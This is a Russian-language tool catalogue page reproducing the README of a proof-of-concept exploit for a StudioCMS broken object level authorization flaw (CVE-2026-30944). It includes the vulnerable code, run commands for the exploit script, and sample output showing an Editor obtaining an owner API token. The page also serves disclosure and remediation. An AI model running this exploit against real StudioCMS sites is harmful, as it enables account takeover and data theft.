Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасностьТестирование на Проникновение
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
filipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

Python proof-of-concept для CVE-2026-30944, эксплуатирующий уязвимость BOLA в StudioCMS для повышения привилегий через небезопасную генерацию API-токенов.

Репозиторий
276 месяцев назадЕщё не проверено

🔓 CVE-2026-30944

StudioCMS — повышение привилегий через небезопасную генерацию API-токенов

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Обзор

Конечная точка POST /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю (как минимум с ролью Editor) генерировать API-токены для любого другого пользователя, включая учётные записи owner и admin.

Конечная точка принимает параметр user в теле запроса, указывающий UUID целевого пользователя, но никогда не проверяет, авторизован ли запрашивающий пользователь на создание токенов от имени этого целевого пользователя. Это классическая уязвимость Broken Object Level Authorization (BOLA), которая приводит к полному повышению привилегий.

Схема атаки

┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attacker   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Full user data as Owner]         │
       │                                           │

Детали уязвимости

ПолеЗначение
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: Authorization Bypass Through User-Controlled Key
CWE (дополнительно)CWE-863: Incorrect Authorization
MITRE ATT&CKT1134 — Access Token Manipulation
OWASP APIAPI1:2023 — Broken Object Level Authorization
Затронутые версииstudiocms ≤ 0.3.0
Исправлено вstudiocms 0.4.0

Содержимое

ФайлОписание
cve_2026_30944_poc.pyPython-скрипт эксплуатации с ручным и автоматическим режимами
README.mdЭтот файл
LICENSEЛицензия MIT

Предварительные требования

  • StudioCMS ≤ 0.3.0 (уязвимая версия)
  • Python 3.8+
  • Действительные учётные данные как минимум для учётной записи Editor
pip install requests colorama

Быстрый старт

Ручная эксплуатация

# Генерация API-токена для владельца с использованием учётной записи редактора
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Сохранение результатов в JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Автоматическое тестирование

# Тестирование с несколькими ролями для подтверждения уязвимости
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Аргументы

Обязательные

АргументОписание
-u, --urlБазовый URL целевого StudioCMS
--uuidUUID целевого пользователя (например, учётная запись владельца)

Ручной режим

АргументОписание
--usernameИмя пользователя для аутентификации
--passwordПароль для аутентификации

Режим автоматического тестирования

АргументОписание
--auto-testВключить автоматическое тестирование с несколькими ролями
--editor-userИмя пользователя учётной записи редактора
--editor-passПароль учётной записи редактора
--visitor-userИмя пользователя учётной записи посетителя
--visitor-passПароль учётной записи посетителя

Необязательные

АргументОписание
--saveСохранить результаты в JSON-файл
--no-ssl-verifyОтключить проверку SSL-сертификата

Пример вывода

Уязвимая система

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [+] API token generated successfully!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verification
  ──────────────────────────────────────────────────────────
  [*] Verifying token access on REST API...
  [+] VULNERABILITY CONFIRMED — Full API access achieved!
  [*] Retrieved 9 user records

Исправленная система

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Exploitation failed — token not generated

Первопричина

Уязвимый обработчик в packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (строки 16–57) принимает параметр user из JSON-тела и передаёт его напрямую в функцию генерации токена без проверок авторизации:

// [1] Проверяется только, является ли вызывающий редактором — а НЕ для кого создаётся токен
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' из тела запроса — без проверки на соответствие аутентифицированной сессии
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Передаётся напрямую в генерацию токена — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

Модель авторизации проверяет только «является ли вызывающий как минимум редактором?» вместо «авторизован ли вызывающий на создание токена для этого конкретного пользователя?»


Влияние

  • Повышение привилегий — любой редактор может получить доступ к API уровня владельца
  • Полный доступ к API — сгенерированный токен предоставляет неограниченный доступ ко всем REST-конечным точкам
  • Захват учётной записи — злоумышленник может выдавать себя за любого пользователя, указав его UUID
  • Утечка данных — доступ к спискам пользователей, контенту и конфигурации системы

Устранение

Обновите StudioCMS до версии 0.4.0 или новее:

npm install studiocms@latest

Правовое уведомление

Скачать инструмент